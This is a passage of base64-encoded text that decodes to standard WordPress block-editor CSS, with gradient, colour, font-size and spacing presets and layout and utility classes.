2ZmZmZmZjsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZpdmlkLWN5YW4tYmx1ZS10by12aXZpZC1wdXJwbGU6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHJnYmEoNiwgMTQ3LCAyMjcsIDEpIDAlLCByZ2IoMTU1LCA4MSwgMjI0KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWxpZ2h0LWdyZWVuLWN5YW4tdG8tdml2aWQtZ3JlZW4tY3lhbjogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDEyMiwgMjIwLCAxODApIDAlLCByZ2IoMCwgMjA4LCAxMzApIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tbHVtaW5vdXMtdml2aWQtYW1iZXItdG8tbHVtaW5vdXMtdml2aWQtb3JhbmdlOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2JhKDI1MiwgMTg1LCAwLCAxKSAwJSwgcmdiYSgyNTUsIDEwNSwgMCwgMSkgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy12aXZpZC1vcmFuZ2UtdG8tdml2aWQtcmVkOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2JhKDI1NSwgMTA1LCAwLCAxKSAwJSwgcmdiKDIwNywgNDYsIDQ2KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZlcnktbGlnaHQtZ3JheS10by1jeWFuLWJsdWlzaC1ncmF5OiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjM4LCAyMzgsIDIzOCkgMCUsIHJnYigxNjksIDE4NCwgMTk1KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWNvb2wtdG8td2FybS1zcGVjdHJ1bTogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDc0LCAyMzQsIDIyMCkgMCUsIHJnYigxNTEsIDEyMCwgMjA5KSAyMCUsIHJnYigyMDcsIDQyLCAxODYpIDQwJSwgcmdiKDIzOCwgNDQsIDEzMCkgNjAlLCByZ2IoMjUxLCAxMDUsIDk4KSA4MCUsIHJnYigyNTQsIDI0OCwgNzYpIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tYmx1c2gtbGlnaHQtcHVycGxlOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU1LCAyMDYsIDIzNikgMCUsIHJnYigxNTIsIDE1MCwgMjQwKSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWJsdXNoLWJvcmRlYXV4OiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU0LCAyMDUsIDE2NSkgMCUsIHJnYigyNTQsIDQ1LCA0NSkgNTAlLCByZ2IoMTA3LCAwLCA2MikgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy1kdXNrOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCByZ2IoMjU1LCAyMDMsIDExMikgMCUsIHJnYigxOTksIDgxLCAxOTIpIDUwJSwgcmdiKDY1LCA4OCwgMjA4KSAxMDAlKTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXBhbGUtb2NlYW46IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHJnYigyNTUsIDI0NSwgMjAzKSAwJSwgcmdiKDE4MiwgMjI3LCAyMTIpIDUwJSwgcmdiKDUxLCAxNjcsIDE4MSkgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1lbGVjdHJpYy1ncmFzczogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDIwMiwgMjQ4LCAxMjgpIDAlLCByZ2IoMTEzLCAyMDYsIDEyNikgMTAwJSk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1taWRuaWdodDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgcmdiKDIsIDMsIDEyOSkgMCUsIHJnYig0MCwgMTE2LCAyNTIpIDEwMCUpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1kYXJrLWdyYXlzY2FsZTogdXJsKCcjd3AtZHVvdG9uZS1kYXJrLWdyYXlzY2FsZScpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1ncmF5c2NhbGU6IHVybCgnI3dwLWR1b3RvbmUtZ3JheXNjYWxlJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWR1b3RvbmUtLXB1cnBsZS15ZWxsb3c6IHVybCgnI3dwLWR1b3RvbmUtcHVycGxlLXllbGxvdycpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1ibHVlLXJlZDogdXJsKCcjd3AtZHVvdG9uZS1ibHVlLXJlZCcpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1taWRuaWdodDogdXJsKCcjd3AtZHVvdG9uZS1taWRuaWdodCcpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1tYWdlbnRhLXllbGxvdzogdXJsKCcjd3AtZHVvdG9uZS1tYWdlbnRhLXllbGxvdycpOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1kdW90b25lLS1wdXJwbGUtZ3JlZW46IHVybCgnI3dwLWR1b3RvbmUtcHVycGxlLWdyZWVuJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWR1b3RvbmUtLWJsdWUtb3JhbmdlOiB1cmwoJyN3cC1kdW90b25lLWJsdWUtb3JhbmdlJyk7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tc21hbGw6IDEzcHg7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tbWVkaXVtOiAyMHB4Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1mb250LXNpemUtLWxhcmdlOiAzNnB4Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1mb250LXNpemUtLXgtbGFyZ2U6IDQycHg7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTIwOiAwLjQ0cmVtOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1zcGFjaW5nLS0zMDogMC42N3JlbTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tc3BhY2luZy0tNDA6IDFyZW07DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTUwOiAxLjVyZW07DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLXNwYWNpbmctLTYwOiAyLjI1cmVtOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1zcGFjaW5nLS03MDogMy4zOHJlbTsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tc3BhY2luZy0tODA6IDUuMDZyZW07DQogICAgICAgIH0NCg0KICAgICAgICA6d2hlcmUoLmlzLWxheW91dC1mbGV4KSB7DQogICAgICAgICAgICBnYXA6IDAuNWVtOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsb3cgPiAuYWxpZ25sZWZ0IHsNCiAgICAgICAgICAgIGZsb2F0OiBsZWZ0Ow0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1zdGFydDogMDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtZW5kOiAyZW07DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtZmxvdyA+IC5hbGlnbnJpZ2h0IHsNCiAgICAgICAgICAgIGZsb2F0OiByaWdodDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtc3RhcnQ6IDJlbTsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtZW5kOiAwOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsb3cgPiAuYWxpZ25jZW50ZXIgew0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IGF1dG8gIWltcG9ydGFudDsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gLmFsaWdubGVmdCB7DQogICAgICAgICAgICBmbG9hdDogbGVmdDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtc3RhcnQ6IDA7DQogICAgICAgICAgICBtYXJnaW4taW5saW5lLWVuZDogMmVtOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gLmFsaWducmlnaHQgew0KICAgICAgICAgICAgZmxvYXQ6IHJpZ2h0Ow0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1zdGFydDogMmVtOw0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1lbmQ6IDA7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtY29uc3RyYWluZWQgPiAuYWxpZ25jZW50ZXIgew0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IGF1dG8gIWltcG9ydGFudDsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gOndoZXJlKDpub3QoLmFsaWdubGVmdCk6bm90KC5hbGlnbnJpZ2h0KTpub3QoLmFsaWduZnVsbCkpIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogdmFyKC0td3AtLXN0eWxlLS1nbG9iYWwtLWNvbnRlbnQtc2l6ZSk7DQogICAgICAgICAgICBtYXJnaW4tbGVmdDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiBhdXRvICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtY29uc3RyYWluZWQgPiAuYWxpZ253aWRlIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogdmFyKC0td3AtLXN0eWxlLS1nbG9iYWwtLXdpZGUtc2l6ZSk7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtZmxleCB7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsZXggew0KICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOw0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KDQogICAgICAgIGJvZHkgLmlzLWxheW91dC1mbGV4ID4gKiB7DQogICAgICAgICAgICBtYXJnaW46IDA7DQogICAgICAgIH0NCg0KICAgICAgICA6d2hlcmUoLndwLWJsb2NrLWNvbHVtbnMuaXMtbGF5b3V0LWZsZXgpIHsNCiAgICAgICAgICAgIGdhcDogMmVtOw0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1ibGFjay1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWJsYWNrKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1jeWFuLWJsdWlzaC1ncmF5LWNvbG9yIHsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS13aGl0ZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtcGFsZS1waW5rLWNvbG9yIHsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1waW5rKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1yZWQtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWx1bWlub3VzLXZpdmlkLW9yYW5nZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtbHVtaW5vdXMtdml2aWQtYW1iZXItY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1sdW1pbm91cy12aXZpZC1hbWJlcikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtbGlnaHQtZ3JlZW4tY3lhbi1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1ncmVlbi1jeWFuKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1wYWxlLWN5YW4tYmx1ZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtY3lhbi1ibHVlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1jeWFuLWJsdWUtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXZpdmlkLXB1cnBsZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtYmxhY2stYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tYmxhY2spICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWN5YW4tYmx1aXNoLWdyYXktYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0td2hpdGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtcGluay1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1wYWxlLXBpbmspICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXJlZC1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1sdW1pbm91cy12aXZpZC1vcmFuZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLWFtYmVyLWJhY2tncm91bmQtY29sb3Igew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWx1bWlub3VzLXZpdmlkLWFtYmVyKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1saWdodC1ncmVlbi1jeWFuLWJhY2tncm91bmQtY29sb3Igew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtZ3JlZW4tY3lhbikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtcGFsZS1jeWFuLWJsdWUtYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWN5YW4tYmx1ZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsYWNrLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1ibGFjaykgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtY3lhbi1ibHVpc2gtZ3JheS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXdoaXRlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1wYWxlLXBpbmstYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtcGluaykgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdml2aWQtcmVkLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtb3JhbmdlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1sdW1pbm91cy12aXZpZC1hbWJlci1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtYW1iZXIpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxpZ2h0LWdyZWVuLWN5YW4tYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXZpdmlkLWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtY3lhbi1ibHVlLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1wYWxlLWN5YW4tYmx1ZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdml2aWQtY3lhbi1ibHVlLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcHVycGxlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1jeWFuLWJsdWUtdG8tdml2aWQtcHVycGxlLWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZpdmlkLWN5YW4tYmx1ZS10by12aXZpZC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxpZ2h0LWdyZWVuLWN5YW4tdG8tdml2aWQtZ3JlZW4tY3lhbi1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1saWdodC1ncmVlbi1jeWFuLXRvLXZpdmlkLWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLWFtYmVyLXRvLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy12aXZpZC1hbWJlci10by1sdW1pbm91cy12aXZpZC1vcmFuZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS10by12aXZpZC1yZWQtZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tbHVtaW5vdXMtdml2aWQtb3JhbmdlLXRvLXZpdmlkLXJlZCkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdmVyeS1saWdodC1ncmF5LXRvLWN5YW4tYmx1aXNoLWdyYXktZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tdmVyeS1saWdodC1ncmF5LXRvLWN5YW4tYmx1aXNoLWdyYXkpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWNvb2wtdG8td2FybS1zcGVjdHJ1bS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1jb29sLXRvLXdhcm0tc3BlY3RydW0pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsdXNoLWxpZ2h0LXB1cnBsZS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1ibHVzaC1saWdodC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsdXNoLWJvcmRlYXV4LWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWJsdXNoLWJvcmRlYXV4KSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1sdW1pbm91cy1kdXNrLWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWx1bWlub3VzLWR1c2spICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtb2NlYW4tZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tcGFsZS1vY2VhbikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtZWxlY3RyaWMtZ3Jhc3MtZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tZWxlY3RyaWMtZ3Jhc3MpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLW1pZG5pZ2h0LWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLW1pZG5pZ2h0KSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1zbWFsbC1mb250LXNpemUgew0KICAgICAgICAgICAgZm9udC1zaXplOiB2YXIoLS13cC0tcHJlc2V0LS1mb250LXNpemUtLXNtYWxsKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1tZWRpdW0tZm9udC1zaXplIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogdmFyKC0td3AtLXByZXNldC0tZm9udC1zaXplLS1tZWRpdW0pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxhcmdlLWZvbnQtc2l6ZSB7DQogICAgICAgICAgICBmb250LXNpemU6IHZhcigtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tbGFyZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXgtbGFyZ2UtZm9udC1zaXplIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogdmFyKC0td3AtLXByZXNldC0tZm9udC1zaXplLS14LWxhcmdlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLW5hdmlnYXRpb24gYTp3aGVyZSg6bm90KC53cC1lbGVtZW50LWJ1dHRvbikpIHsNCiAgICAgICAgICAgIGNvbG9yOiBpbmhlcml0Ow0KICAgICAgICB9DQoNCiAgICAgICAgOndoZXJlKC53cC1ibG9jay1jb2x1bW5zLmlzLWxheW91dC1mbGV4KSB7DQogICAgICAgICAgICBnYXA6IDJlbTsNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1wdWxscXVvdGUgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxLjVlbTsNCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjY7DQogICAgICAgIH